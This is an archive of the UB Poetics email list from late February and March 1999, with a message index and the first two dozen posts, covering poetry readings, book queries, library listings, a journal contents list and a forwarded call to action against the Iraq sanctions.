289. A. Jenn Sondheim — TWELVE HUNDRED BANGS FROM A SLAUGHTER (fwd)
290. Rebecca Wolff — Re: shifts in modalities
291. Rebecca Wolff — Re: gender class poetics poetry
292. Maria Damon — Darkroom Collective?
293. Poetics List — Jena Osman at Barnard
294. Mark Prejsnar — Re: FYI--Academy of American Poets
295. WENDY KRAMER — Ray Johnson on moticos
296. R. Tremblay-McGaw — class & gender
297. miekal and — Re: Armand Schwerner Tablets
298. Mark Prejsnar — Re: what poetry's for
299. Thomas Bell — Re: shifts in modalities 300. Tony Green — Re: what poetry's for
301. Katie Degentesh — 6,500 reminder
302. Grant Jenkins — defensive poetry
303. Linda Russo — Re: Page Mothers & Delinquent Daughters
304. Linda Russo — Re: shifts in modalities
305. Rachel Levitsky — a pole query: Poets for Justice for Diallo
306. Rachel Levitsky — [FYI--Meet me in Philly]
307. A. Jenn Sondheim — <nettime> Help B92 campaign started tonight (fwd)
308. Rachel Levitsky — Subway Sonnets by Steve Fried
309. Mark Weiss — query--poetry project newsletter
310. Kevin L. Magee — Re: Henry's interest in destinato critico

25 MAR 1999

311. aerialedge — Integrity & Dramatic Life by Anselm Berrigan
312. Catherine Daly — was gender class etc. & also Loyola readings
313. dbkk — Stevens date
314. Richard Carfagna — Re: Armand Schwerner Tablets
315. Tom Orange — Lettrisme
316. Lowther,John — Re: defensive poetry
317. dbkk — Re: class & gender
318. derek beaulieu / house press — Para>poetics
319. Lowther,John — Thoughts about SILENCING THE SOUNDED SELF by Christopher Shultis
320. Pam Brown — Invitation
321. BETSY ANDREWS — Re: defensive poetry
322. pete spence — Re: Ray Johnson Review
323. Garrett Kalleberg — Snake Hiss is Musick to Your Ears
324. Garrett Kalleberg — Critique of Instrument's Reason - TF9, March 1999
325. P.Standard Schaefer — RIBOT
326. P.Standard Schaefer — Otis MFA
327. Mairead Byrne — Re: shifts in modalities 328. Kathy Lou Schultz — Re: gender class poetics poetry
329. Kevin L. Magee — Re: Sondheims Kattrin posted 24 Mar 01:58:44

26 MAR 1999

330. Dubravka — [Fwd: [Fwd: Belgrade: a feminist report]] (fwd)
331. david bromige — re C Daly & Loyola fans
332. Ben Basan — Class
333. david bromige — class etc in poetry
334. Rebecca Wolff — Re: shifts in modalities
335. Rebecca Wolff — Re: and again I shut up
336. travmar03 — Fw: April 3, 1999 --

337. Poetry Project — Re: query--poetry project newsletter
338. maz881 — Re: Page Mothers & Delinquent Daughters
339. Poetry Project — upcoming
340. kathylou — Correction!
341. Lowther,John — Re: Ray Johnson
342. kathylou — Class is . . .
343. Jessica Pompeii — PinkFlash
344. Bobbie West — Class, Working Pages, and the Mothers Conference
345. Grant Jenkins — class and shutting up

27 MAR 1999

346. Kevin L. Magee — Re: Wittgenstein on working class
347. derek beaulieu / house press — bpNichol's TTA?
348. Chris Wall — Re: VISUAL WORLD PEACE

28 MAR 1999

349. Susan Wheeler — Readings
350. svp — (no subject)
351. Tony Green — Re: Lettrisme
352. Irving Weiss — A desperate Cry
353. Marcella Durand — no fold
354. Harold Teichman — Is anyone going to the Cambridge CCCP April 23?

29 MAR 1999

355. louis stroffolino — LYNN KELLY's Q & SUSAN HOWE'S A
356. louis stroffolino — Barnard Conference...
357. A. Jenn Sondheim — Sewn in You
358. Steven Clay — Lyn Hejinian and Emilie Clark presentation
359. Joe Amato/Kass Fleisher — Re: Ray Johnson
360. Summi Kaipa — query
361. Barbara Henning — apartment listing in NYC for June & July
362. Mairead Byrne — Re: Class is . . .
363. Poetics List — Zine Conference / Basinski
364. charles alexander — Re: bpNichol's TTA?
365. charles alexander — Re: Barnard Conference...
366. Mark Prejsnar — Re: LYNN KELLY's Q & SUSAN HOWE'S A
367. miekal and — a manifesto, a media prayer & 3 questions
368. ken|n|ing — A REMINDER /
369. Lowther,John — The APG in Tuscaloosa 3.6.99
370. Robert Freedman — Re: Armand Schwerner Tablets
371. Maria Damon (Maria Damon) — Re: Barnard Conference...
372. Tony Green — Re: [Fwd: [Fwd: Belgrade: a feminist report]] (fwd)
373. kathylou — Re: Class is . . . (fwd)
374. Taylor Brady — Re: query
375. Don Wellman — Re: Lettrisme
376. Maria Damon — Re: Class, Working Pages, and the Mothers Conference
377. Noam Scheindlin — READINGS
378. BETSY ANDREWS — Re: A desperate Cry
379. Mairead Byrne — ictus

30 MAR 1999

380. David L. Erben — Robert Pinsky
381. Harris Schiff — George Schneeman's 1999 Calendar: Paesaggi Senesi
382. Pierre Joris — Re: Lettrisme
383. Poetics List — Re: A desperate Cry
384. travmar03 — Fw: April 3, 1999 --
385. Michael Magee — Re: LYNN KELLY's Q & SUSAN HOWE'S A

386. Loss Pequen~o Glazier — Wednesday Reading - Buffalo
387. Michael Boughn — Re: Class is . . . (fwd)
388. Gerald Schwartz — Re: LYNN KELLY's Q & SUSAN HOWE'S A
389. David Baratier — Larry's
390. kathylou — Re: query
391. Tony Green — Re: Lettrisme
392. Charles Bernstein — Post from Dubravka Djuric (fwrd)
393. sylvester pollet — Enslin Special Offer
394. Catherine Daly — Spelling Bromige
395. KENT JOHNSON — Anti-war resources
396. Mark Weiss — Re: Class is . . .
397. derek beaulieu / house press — Re: bpNichol's TTA?

31 MAR 1999

398. d.j. huppatz — RADI OS
399. Stephen Cope — New Writing Series at UCSD
400. Rebecca Wolff — The Joy of Poetry
401. David Baratier — Re: Class is . . . (fwd)

1. Michael McColl
Re: David Antin - audio addendum +
Thu 25 Feb 1999

---

they charged my visa and send about half the order and then never answered my calls again. Maybe they were going out of business right about then. They did have an extensive catalog, and I was all set to slowly but surely put together a collection.

Mike mcColl

↑ Index

2. Marjorie Perloff
Re: Galassi's Montale
Fri 26 Feb 1999

The suggestion (Steven Scharf and others) that the NY Times put Galassi's Montale on the cover and gave it a big review (an excellent one, by the way, by Nick Jenkins!) becauseof his position at Farrar, Straus and at the Academy of American Poets is, I think, a cheap shot.

Have you looked at the book? It's quite fabulous, a labor of love with incredible and impeccable scholarship that makes a great modernist poet come alive. Galassi evidently spent years doing the translation--no mean feat given his day job!--and I found it mind-blowing and have been reading it for weeks. My Italian is rusty but good enough to see that the translation is really superb. So what's wrong with the Times featuring it? True, they wouldn't do same for a contemporary and we all know how little attention they pay to the new, but at least they actually featured a 20th C poet, still not very well known in the U.S. Shouldn't we be pleased about that?

Marjorie Perloff

↑ Index

3. Pierre Joris
Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
Fri 26 Feb 1999

Mairead Byrne wrote:

> It's finally come to me! One Life is the Wendell Wilkie book, is that right?

Yes indeed Mairead -- it is the Wilkie book, & despite my absolute devotion for MR I can't agree with Burt on this one -- it is a prose account, with some poetically ventilated pages,-- I wld think her conscious attempt is at creating a new, experiemntal or whatever, prose/biographical genre rather than a long poem.

Come to think of it, my favorite of those books of hers is and remains THE TRACES OF THOMAS HARIOT -- an absolutely brilliant book. These works need to be brought back into print!

Pierre

> You may be right, Burt, but your "definitely" is very questionable. At least Rukeyser's most recent publishers Paris Press consider One Life to be, wait for it -- PROSE (witness their classification of the book on page 141 of their edition of The Orgy, 1997).
> Mairead
>
> On Thu, 25 Feb 1999, Burt Hatlen wrote:
>
> Re: David Baratier
>
> Rukeyser's _One Life_ definitely IS a long poem (book length, combining prose and verse). I was very pleased to see it on this list--another "disappeared" masterwork of our century.
>
> Burt Hatlen

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

4. George Bowering
Re: the longer poem
Fri 26 Feb 1999

> Good Grief! There appears no end to the candidates for this important largely male title. It is only fair yo put Listmates on notice that my entire oeuvre is now (by my own fiat, which is what counts) to be regarded as one long poem, The Long Bromige Poem. My published volumes come to upward of 700 pp.,but there are some 300pp as yet unpublished.

This is GB. I would like to point out that David did not go far enough in his explanation. It happens that all my work counts as one long poem, and it includes all of Bromige's work as part of it, along with the work of Victor Coleman and Drum Hadley.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

5. Mark Weiss
Bronk obit
Fri 26 Feb 1999

I'd be deeply grateful to anyone who would backchannel me Bill Bronk's Times obit, which I missed.

Mark Weiss

↑ Index

6. Michael Heller
THE GIFT BY H.D. THE COMPLETE TEXT
Sat 27 Feb 1999

Jane Augustine asked me to post this notice to the list:

You are invited to a

BOOK PARTY

to celebrate the publication of

THE GIFT BY H.D.: THE COMPLETE TEXT
(Univ. Press of Florida, December 1998)

Edited by Jane Augustine

(This edition, almost half again the length of the original ND publication, contains, in addition to much added text, 94 pages of H.D.'s "Notes" which she considered part of the work, and, as well, a gallery of never-before-published pictures of H.D.s' relatives, ancestors, and historical sites.)

Wednesday, March 3, 1999

Teachers & Writers Collaborative
5 Union Square West, 7th Floor
NYC

↑ Index

7. Catherine Daly
Lee Ann Brown, Sun & Moon
Sat 27 Feb 1999

Is Lee Ann Brown still reading tomorrow afternoon at Sun & Moon?

I went to her reading at the Rose Cafe. She sang some poems of E.D.'s and her own, some songs. Her sampler poem (read aloud) reminded me of a poem in Mary Leader's _Red Signature_, except it seemed so interesting in Brown's established context, acrostics like cross stitch. She mentioned the Sun & Moon reading but I seem to have fallen off the mailing list and wasn't paying attention if it was posted here.

I was completely blown away by Will Alexander's reading at Beyond Baroque last night (with Philip Lamantia). I was impressed with Lamantia as expected, but Alexander read like the apotheosis of Sun Ra. He used some words I love, like "fulminous". After, I watched something on tv about Monk and slide piano (Johnson). The Alexander/Lamantia reading seemed a bit hearing the slide piano in "Thelonius". I have missed his readings at Sun & Moon, but also the panel/conference at LACMA.

Rgds,
Catherine Daly
[redacted]

↑ Index

8. Karen McKevitt
ezra pound
Sat 27 Feb 1999

My cousin is doing a presentation on Ezra Pound (for a college class) in which he must address some of Pound's themes in the Cantos. To me this seems so large--I was wondering if anyone had some insights they would like to backchannel (or frontchannel).

Thanks in advance
Karen McKevitt

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

9. WENDY KRAMER
[Fwd: [Fwd: check it out]]
Sat 27 Feb 1999

One more time i'm forwarding this, because i don't think it went through after that crash a few weeks ago. apologies if duplicate. wendy

Date: Thu, 11 Feb 1999 20:33:32 +0000
From: WENDY KRAMER <[redacted]>
Organization: N/A
To: [redacted]
Subject: [Fwd: check it out]

hello, i don't think my message got posted from last week. if not, here it is again.

Date: Thu, 04 Feb 1999 14:54:43 +0000
From: WENDY KRAMER <[redacted]>
Organization: N/A
To: UB Poetics discussion group <[redacted]>
Subject: check it out References: <[redacted]>

hello, it's wendy kramer again. i posted a month or two ago, saying i'd post titles that might be of interest to the list, that are available from the branch libraries of the new york public library. here (HEAR hear) are some that are not yet in the catalog, but will be within the next few weeks, so y'all can watch for them, and reserve them or check them out as they appear.

p.s. did i mention in the last post that you can use the library catalog via the website www.nypl.org, then click on "catalogs" and choose "LEO," which is the catalog for the branch libraries? using your library card, you can place reserves same as when y're at the library, plus you can use many of the available databases (click "electronic resources" at the homepage) from this way.

anyhow, hear are some titles to watch for:

Under the Autumn Star by Knut Hamsun
My Futurist Years by Roman Jakobson
My Way: Speeches and Poems by Charles Bernstein
Routine Disruptions: Selected Poems & Lyrics 1960-1998 by Kenward Elmslie
Whatsaid Serif by Nathaniel Mackey

Also, off the top of my head (i.e. no written citations at my side) of things to watch for that i haven't posted the last few weeks, some not yet available, some on the shelves:

LeeAnn Brown's book (a thousand pardons, i don't remember the title, & it's not in yet)

also a new one by Barrett Watten (again, sorry, no title on hand)

The Real Billy the Kid (sorry, my author citation got cut off in the copier) but i thot it might be of interest as it is for me for spicer fans et al.

p.p.s. Surrealist Women ed. penelope rosemont just came in, & i've got it checked out for myself right now. (that's the one i posted about last time) it looks _scrumptious_, so get in line! i think mid-manhattan (5th ave at 40th st) owns one too. if you get it, backchannel me & lemme know what you think!

last comment: last time i posted "check it out," i got a handful of backchannels, which i appreciated. let me stress, however, that i am low on the library food chain, and do not have the power to place items in the ordering/selection room. in other words, if it ain't already a choice on my order list, i caint hardly choose it. so please dont ask me to buy titles. the exception to this would be, of course, that if there's a title you want in your local branch, go there and request it from whichever librarian is working at the information desk. She or he should have request slips for that purpose, or at least a scrap paper that'll serve the same.

oh, yeah: poetry calendar is available at some branches, free!

best wishes for feb,

dee

↑ Index

10. A. Jenn Sondheim

Alan Sondheim is In <automated reply>

Sat 27 Feb 1999

+++++ +++++ +++++ +++++ +++++ +++++ +++++

This is an automated reply. Alan Sondheim is in at the moment but has nothing to say in reply to your post. He will be in his office until March 3, 1999. Alan Sondheim apologizes for having nothing to say Please do not respond to this automated message.

ID7279901

+++++ +++++ +++++ +++++ +++++ +++++ +++++

↑ Index

11. louis stroffolino

Re: PHIL LEVINE

Sat 27 Feb 1999

Does anybody know of any specific mentions (by Language poets, or others) of the work of Levine (from sentences to essays, negative or positive, by "poets" or "critics", any info. would be helpful.....

Chris Stroffolino

↑ Index

12. rachel

(no subject)

Sun 28 Feb 1999

Hi,
I was wondering if you could help me
I'm doing a job , comparing "in memory of w.b.yeats" by Auden and "a pact" written by ezra pound (about whitman) maybe you could help me analyze it

↑ Index

13. Billy Little

why won't ron silliman be poet laureate

Sun 28 Feb 1999

> Date: Sat, 27 Feb 1999 20:10:08 -0700
> To:jvk
> From:[redacted] (Billy Little)
> Subject:why won't ron silliman be poet laureate
>
> america needs his poems.
> men die everyday from lack of what is in there.
> the thought of what america would be like > if only they read ron silliman > in elementary school > in the washington post > on CNN

> the thought of what america
> solid pieces from the alphabet in new Jacket > and the tag at the end > teaching with a mere gesture hee hee

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

14. Harold Teichman
Advice wanted: Meschonnic
Sun 28 Feb 1999

Marjorie Perloff, through several of her essays, has aroused my interest in the work of Henri Meschonnic on poetic form. He's written a lot of books; where to begin? Is 'Critique du rythme' the best entry point?

I am primarily interested in issues of the 'ineluctability' of poetic forms; I take it as a given that Marjorie is right, that we are somehow constrained to write in certain forms, but what is the nature of this constraint (philosophically and practically)?

Thanks,
Harold Teichman

↑ Index

15. Jamie Ferguson
translation into archaic English
Sun 28 Feb 1999

Mark Weiss wrote:

Why [else] translate from a language foreign to the reader into a version of one's own language only marginally understandable to same?

Is the language in which the poets of the sixteenth and seventeenth centuries "only marginally understandable"? This question is not rhetorical. Chaucer's language certainly IS difficult for most. Do you support the use - in classrooms, say - of the translations of Chaucer into modern English? Don't we lose Chaucer for losing the specific form of his language? Would you present Chaucer through Dryden's translations of some of the Tales? Wouldn't you be painfully aware that you were in fact presenting Dryden and his age, rather than Chaucer and his? Nobody would suggest that the Elizabethans should be so rendered (leaving aside, at least for the moment, the prevalent modernization of typography, spelling, etc.). Imagine a course on Shakespeare that took Dryden's rescriptings as primary texts.

"Translation is not replication, and it's not just about text. Translation translates as well what the reader needs to know about context, linguistic and otherwise." - M.W.

You are dogmatic, here, and difficult to understand. What I am suggesting about the use of archaic English is that various foreign literary traditions can be set into meaningful parallel with the English tradition, and that, generally speaking, the translation of a proto-Baroque Polish poet into the idiom of a proto-Baroque English poet is a reasonable attempt to provide the reader with an analogical insight into the Polish poet's place in his or her own tradition.

I have to run. I appreciate your response, and we will, I hope, return to this in more detail.

Jamie Ferguson, Boston

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

16. Andrew D Epstein Poetry Readings (NYC)
Sun 28 Feb 1999

For those of you in or around or passing through New York, there are two upcoming readings at Columbia you might be interested in:

The F. W. Dupee Poetry Reading Series presents:

Anselm Berrigan
Andrea Brady
Jordan Davis
Andrew Epstein

Introduced by Kenneth Koch

Tuesday, March 23
8 PM

Ward Dennis Room
Lewisohn Hall, 5th Floor
Columbia University
(at 116th and Broadway)

Admission Free

Gary Lenhart

&

Eileen Myles

Introduced by Kenneth Koch

Tuesday, April 6
8PM

Maison Francaise
Columbia University
(at 116th and Broadway)

Admission Free

↑ Index

17. Kenneth Sherwood

David Antin

Sun 28 Feb 1999

I wrote an essay on David Antin for the Dictionary of Literary Biography volume 169, which may be of some interest.

The bibliography is generious if not comprehensive; in addition to "The Principle of Fit," it includes "The Archaeology of Home; Lemons" High Performance Audio, 1987 -- a recording I am unfamiliar with; Antin himself added it in proofing.

In addition to the 1975 VORT special issue, I find his essay "Modernism and Modernity" (Boundary II, 1 Fall 1972: 98-133) and "A Correspondence with the Editors" (Boundary II, Spring 1975: 595-650) important context.

More widely available: Stephen Fredman's _Poets Prose_; Marjorie Perloff's _Poetics of Indeterminacy_, and Hank Lazer's _Opposing Poetries_ all contain smart essays on Antin.

Ken Sherwood

↑ Index

18. Heather H Thomas

Re: BARDFEST 99 Berks County ~ Reading, Pennsylvania

Mon 1 Mar 1999

BARDFEST 99(C)

Reading, Pennsylvania & Berks County

http://www.geocities.com/~poetspride/bardfest99.html

Celebrating April... National Poetry Month

30 Days / 30 Venues

for details contact stevenallenmay: [redacted]

Events Calendar

April 1....Fools Day : BARDFEST 99(C) Sampler with stevenallenmay & Craig Czury and others at

April 2....Benefit for the community of Lyons.

April 3....Blue Marsh Lake

April 4....Skyline Drive Fire Tower, Easter Sunrise Service with Poetry

*April 5....Reading High School, with visiting poet Luis Otero-Garabis

April 6...RAAC "Bruce Stanley Memorial Reading, with Reading H.S. students

April 7....Mulhenburg Public Library, hosted by Charles Scanzello

*April 8....Alexander's Deli, New Jerusalem, Celtic Night hosted by Jen Gittings Dalton, featuring Beth Phillips Brown

April 9...Upstairs Gallery, Douglasville, hosted by stevenallenmay

*April 9...Julia Lopez featured poet at the Puerto Rican Latin Association.

April 10...Wyomissing Inst. of Fine Arts, afternoon poetry workshop with Craig Czury and evening reading featuring his students ($25)

April 11...Tattered Pages Book Store, Shillington

*April 12...Hamburg High School, with visiting poet Harry Eshelman.

April 13...Hamburg Public Library

April 14...Penn State Berks Campus, poetry writing workshop with Michael Riley's creative writing class and reading at the Freyberger Art Gallery, featuring his students

April 15...Kutztown Public Library

*April 16....Reading Museum, featuring Harry Humes

April 17...Sahara Restaurant...Poetry Jazz

April 18....Unitarian Church of Reading 6-8PM

*April 19...Schuylkill Valley High School, visiting poet Karen Blomain

April 20...Schuylkill Valley Public Library, featuring Schuylkill Valley HS poets

April 21....Borders Book store

April 22...Fire & Ice Cafe, Fleetwood hosted by Gina Stitzer

April 23...Albright College

*April...24....Club SocIal Ipanema, Celebration of Spanish Poet Federico Garcia Lorca, presented by poets Emiliano MartIn and Peter Krok of the Manyunk Art Center

April 25...St. John's Church Soul Cafe, Kutztown, hosted by Harry Serio

*April 26...Boyertown High School, with visiting poet Jayne Relaford Brown

April 27...Boyertown Public Library, featuring Kerry Lance Graul

April 28...Birdsboro Library hosted by stevenallenmay

April 29...YMCA of Reading

April 30...'Day of Poetry' Muhlenberg HS 9AM - 2:30PM (Martha Richardson)

* Programs funded by the Berks Arts Council

This page created by Alex K. of G.jC Enterprises, December 1998

Contact the Webmaster at My 7 [redacted].

Heather H. Thomas, English Dept., Kutztown U., Kutztown, PA/USA [redacted]

↑ Index

19. Poetics List

Re: Goodbye Paul, Goodby Khlebnikov

Mon 1 Mar 1999

---

had to reformat this one. Chris

---------- Original message (ID=0E3A9CD6) (163 lines)

Date: Sat, 27 Feb 1999 14:48:00 -0600 (CST)
From: David Baptiste Chirot <[redacted]>
cc: [redacted]
Subject: Re: Goodbye Paul, Goodby Khlebnikov

Mark Prejsnar's remarks re the "knownness" of Khlebnikov brought to mind discussions during the "eyerhymes" Visual Poetry Conference in 1997 with several Ukrainian and Russian visual/sound poets and with Professor Gerald Jenecek (author of The Look of Russian Literature and ZAUM which both discuss Khlebnikov and the "lesser known" giant of Zaum, Kruchonykh)--there was much discussion of how both in the USA and Russia/Soviet Union Mayakovsky was the first to gain fame--then, Khlebnikov and not yet Kruchonykh--though I hope that Professor Jenecek's book will change that!)--although for the Russians and Ukrainians he was the most revered and respected--and in their countries, as in ours, his work is very hard to come by, still considered beyond the fringe of knowness, so to speak-- A great thanks from all lovers of Russian poetry to Paul Schmidt and his brilliant translation of Khlebnikov and his interesting one of Rimbaud. --dave baptiste chirot

↑ Index

20. Poetics List
Fwd: PS: Starvation Deaths in Iraq
Mon 1 Mar 1999

This was sent to the administrative account, rather than the list. Chris

---
From: [redacted]
Subject: Fwd: PS: Starvation Deaths in Iraq
Date: 2/28/99, 11:26 AM +0000

f.y.i.

In a message dated 2/28/99 9:48:10 AM Eastern Standard Time, [redacted] writes:

<< We have been working on a call to action with Noam Chomsky, Edward Herman, Edward Said, and Howard Zinn. Below is the final draft, which all four of them have signed off on and given permission to distribute. Please publish, broadcast, post or forward as widely as possible.

Thanks, Bob Jensen
for the Austin, Texas, Campaign for a Just Peace in the Middle East [redacted]
[redacted]

January 8, 1999

A CALL TO ACTION ON SANCTIONS
AND THE U.S. WAR AGAINST THE PEOPLE OF IRAQ

by Noam Chomsky, Edward Herman, Edward Said, and Howard Zinn

At the end of 1998, the United States once again rained bombs on the people of Iraq. But even when the bombs stop falling, the U.S. war against the people of Iraq continues through the harsh economic sanctions. This is a call to action to end all the war.

This month U.S. policy will kill 4,500 children under the age of 5 in Iraq, according to UN studies, just as it did last month and the month before that, all the way back to 1991. Since the end of the Gulf War, at least hundreds of thousands -- maybe more than 1 million -- Iraqis have died as a direct result of the UN sanctions on Iraq, which are a direct result of U.S. policy.

This is not foreign policy -- it is sanctioned mass-murder that is nearing holocaust proportions. If we remain silent, we are condoning a genocide that is being perpetrated in the name of peace in the Middle East, a mass slaughter that is being perpetrated in our name.

The time has come for a call to action to people of conscience. We are past the point where silence is passive consent -- when a crime reaches these proportions, silence is complicity. There are several tasks ahead of us.

First, we must organize and make this issue a priority, just as Americans organized to stop the war in Vietnam, and to protest U.S. policies in Central America and South Africa. We need a national campaign to lift the sanctions.

This kind of work has already begun, and those efforts need our help. For the past several years, individuals and groups have been delivering medicine and other supplies to Iraq in defiance of the U.S. blockade. Now, members of one of those groups, Voices in the Wilderness in Chicago, have been threatened with massive fines by the federal government for "exportation of donated goods, including medical supplies and toys, to Iraq absent specific prior authorization." Our government is harassing a peace group that takes medicine and toys to dying children; we owe these courageous activists our support.

Such a campaign is not equivalent to support for the regime of Saddam Hussein. To oppose the sanctions is to support the Iraqi people. The people are suffering because of the actions of both the Iraqi and U.S. governments, but our moral responsibility lies here in the United States, to counter the hypocrisy and inhumanity of our leaders.

Also, there has been a virtual embargo on news of the effects of the sanctions in the mainstream media. For the most part, the American people do not know what evil is being carried out in our name. We must continue to apply pressure on journalists at all levels -- from our local papers to the network news -- to cover this tragedy. We should overwhelm the major press with letters to the editor and put pressure on journalists to cover the story.

And we must realize this could be a long struggle. Preparations should begin for all the possible strategies, including civil disobedience once a sufficient number of people are committed. Direct action that forces a moral accounting likely is going to be necessary.

Whatever else we are doing, we should treat this as an emergency and put it at the top of our agenda. Existing groups can work on the issue, new groups may need to be formed, and national networks need to be built. A good central source of information exists on the web at http://leb.net/IAC/.

Without action by us, the horrors will go on, the children will continue to die. We must appeal to the natural sympathies of the American people, who will respond if they know what is happening. We must therefore bring this issue, in every way we can, to national attention. The only way to avoid complicity in this crime is to do everything we can, and much more than we have been doing, to end the sanctions on Iraq. This issue must be discussed in every household and every public forum across the country.

****

The A-Infos News Service

****

COMMANDS: [redacted]
REPLIES: [redacted]
HELP: [redacted]
WWW: http://www.ainfos.ca/
INFO: http://www.ainfos.ca/org

↑ Index

21. Douglas

Re: Lee Ann Brown, Sun & Moon

Mon 1 Mar 1999

Just got your message on Monday morning. Yes, Lee Ann Brown read at Sun & Moon Press yesterday--a wonderful reading and great conversation.

On March 20th, 4:00 p.m. Fanny Howe and her daughter, Danzy Senna will both read from their new novels. This should be quite an event. Please feel free to attend if you're in the area. The salons are held monthly at 6026 Wilshire Blvd., Los Angeles, CA 90036

Douglas Messerli

Catherine Daly wrote:
>
> Is Lee Ann Brown still reading tomorrow afternoon at Sun & Moon?
>
> I went to her reading at the Rose Cafe. She sang some poems of E.D.'s and her > own, some songs. Her sampler poem (read aloud) reminded me of a poem in Mary > Leader's _Red Signature_, except it seemed so interesting in Brown's > established context, acrostics like cross stitch. She mentioned the Sun & Moon > reading but I seem to have fallen off the mailing list and wasn't paying > attention if it was posted here.

>
> I was completely blown away by Will Alexander's reading at Beyond Baroque last > night (with Philip Lamantia). I was impressed with Lamantia as expected, but > Alexander read like the apotheosis of Sun Ra. He used some words I love, like > "fulminous". After, I watched something on tv about Monk and slide piano > (Johnson). The Alexander/Lamantia reading seemed a bit hearing the slide > piano in "Thelonius". I have missed his readings at Sun & Moon, but also the > panel/conference at LACMA.
>
> Rgds,
> Catherine Daly
> [redacted]

↑ Index

22. Juan S. Amador Bedford

RCEI 20 C American Women Poets

Tue 9 Feb 1999

The _REVISTA CANARIA DE ESTUDIOS INGLESES_ (RCEI) (Gral. Editor: Manuel Brito) has published issue 37 as a monographic number of 239 pages under the title: "Centered Revisions, Decentered Visions: Twentieth-Century American Women Poets", guest edited by Juan S. Amador Bedford.

Index:
Juan S. Amador Bedford: Introductory Note

Stefanie von Berg and Hartmut Lutz: "Pounded Earth and Heartbeats": 20th Century Poetry by Native Women of North America

Nancy Berke: Anything That Burns You: The Social Poetry of Lola Ridge, Genevieve Taggard, and Margaret Walker

Melba Joyce Boyd: "Prophets for a New Day": The Cultural Activism Margaret Danner, Margaret Burroughs, Gwendolyn Brooks and Margaret Walker During the Black Arts Movement

Susana Ch vez-Silverman: Chicana Outlaws: Turning Our (Brown) Backs on La Ley del Pap (cito)

Mar¡a Herrera-Sobek: The Nature of Chicana Literature: Feminist Ecological Literary Criticism and Chicana Writers

Susan J. Hubert: "A Whole New Poetry Beginning Here": The Poetics/Politics of Adrienne Rich and Audre Lorde

Mary Jane Leach-Rudawski: "And Is She A Com-pat-riot?": The Exile of Mina Loy

Philip McGowan: Uncovering the Female Voice in Anne Sexton

Ann Vickery: Finding Grace: Modernity and the Ineffable in the Poetry of Rae Armantrout and Fanny Howe

Cheryl Walker: Reading Elizabeth Bishop as a Religious Poet

Laura Wright: Play in the Work of Carla Harryman

Liz Yorke: Breaking Through the "Logic of Limits": Adrienne Rich and Radical Complexity

Zhou Xiaojing: Breaking from Tradition: Experimental Poems by Four Contemporary Asian American Women Poets

Reviews:

John M. Bennett: Bipolarity in Sheila E. Murphy's _Teth_

Mar¡a Henr¡quez Betancor: Photographs and Memory: A Chicana Structures Autobiography

Jos, Rodr¡guez Herrera: Misteries and Nature: Levertov's _Sands of the Well_

Ernesto Su rez Toste: Another Art: Elizabeth Bishop's Life and Watercolors

Requests for single issues should be addressed to the Secretariado de Publicaciones, Universidad de La Laguna, Campus Central, La Laguna, Tenerife, Islas Canarias, Espa¤a. Price: $12.00 (U.S. dollars) to be paid by international bank cheque made out to the "Secretariado de Publicaciones".

RCEI is published twice yearly, in April and November.

The Revista Canaria de Estudios Ingleses is scanned, indexed, or abstracted by the following: Annual Bibliography of English Language and Literature, BD-ISOC, Indice Espa¤ol de Humanidades, Info-Latinoam,erica (ILA), Institute for Scientific Information, Linguistics Abstracts On-Line, Linguistics and Language Behavior Abstracts, MLA International Bibliography, and Ulrich's International Peridodicals Directory.

For additional information on subscriptions and submissions please visit our web page:
http://www.ull.es/publicaciones/rcei

↑ Index

23. Poetics List
Francis Berry's Long Poems
Mon 1 Mar 1999

Hi. This came to me at the administrative account. Chris

From: "jesse glass" <[redacted]>
Subject: Francis Berry's Long Poems
Date: 2/26/99, 9:05 AM -0800

We mustn't forget the long dramatic poems of Francis Berry: Ghosts of Greenland, and...there's another about an insurrection in Haiti, I believe. He's an unusual writer. If anyone knows more about him--if he's still living--a bibliography, etc. I'd be interested. He also wrote an interesting book in which he attempts to speculate on the in-the-flesh voice of poets from the "voice" of their poems. All best Jesse Glass

↑ Index

24. louis stroffolino
Re: BARDFEST 99 Berks County ~ Reading, Pennsylvania
Mon 1 Mar 1999

Nice to see my sad home town does the art deco theatre downtown still say "Help save me" on it?) getting some play here in poeticsland....

On Mon, 1 Mar 1999, Heather H Thomas wrote:

> BARDFEST 99(C)
>
> Reading, Pennsylvania & Berks County
>
> http://www.geocities.com/~poetspride/bardfest99.html
>
> Celebrating April... National Poetry Month
>
> 30 Days / 30 Venues
>
> for details contact stevenallenmay: [redacted]

Events Calendar

April 1....Fools Day : BARDFEST 99(C) Sampler with stevenallenmay & Craig Czury and others at

April 2....Benefit for the community of Lyons.

April 3....Blue Marsh Lake

April 4....Skyline Drive Fire Tower, Easter Sunrise Service with Poetry

April 5....Reading High School, with visiting poet Luis Otero-Garabis*

April 6...RAAC "Bruce Stanley Memorial Reading, with Reading H.S. students

April 7....Mulhenburg Public Library, hosted by Charles Scanzello

April 8....Alexander's Deli, New Jerusalem, Celtic Night hosted by Jen Gittings Dalton, featuring Beth Phillips Brown*

April 9...Upstairs Gallery, Douglasville, hosted by stevenallenmay

April 9...Julia Lopez featured poet at the Puerto Rican Latin Association.*

April 10...Wyomissing Inst. of Fine Arts, afternoon poetry workshop with Craig Czury and evening reading featuring his students ($25)

April 11...Tattered Pages Book Store, Shillington

April 12...Hamburg High School, with visiting poet Harry Eshelman.*

April 13...Hamburg Public Library

April 14...Penn State Berks Campus, poetry writing workshop with Michael Riley's creative writing class and reading at the Freyberger Art Gallery, featuring his students

April 15...Kutztown Public Library

April 16....Reading Museum, featuring Harry Humes*

April 17...Sahara Restaurant...Poetry Jazz

April 18....Unitarian Church of Reading 6-8PM

April 19...Schuylkill Valley High School, visiting poet Karen Blomain*

April 20...Schuylkill Valley Public Library, featuring Schuylkill Valley HS poets

April 21....Borders Book store

April 22...Fire & Ice Cafe, Fleetwood hosted by Gina Stitzer

April 23...Albright College

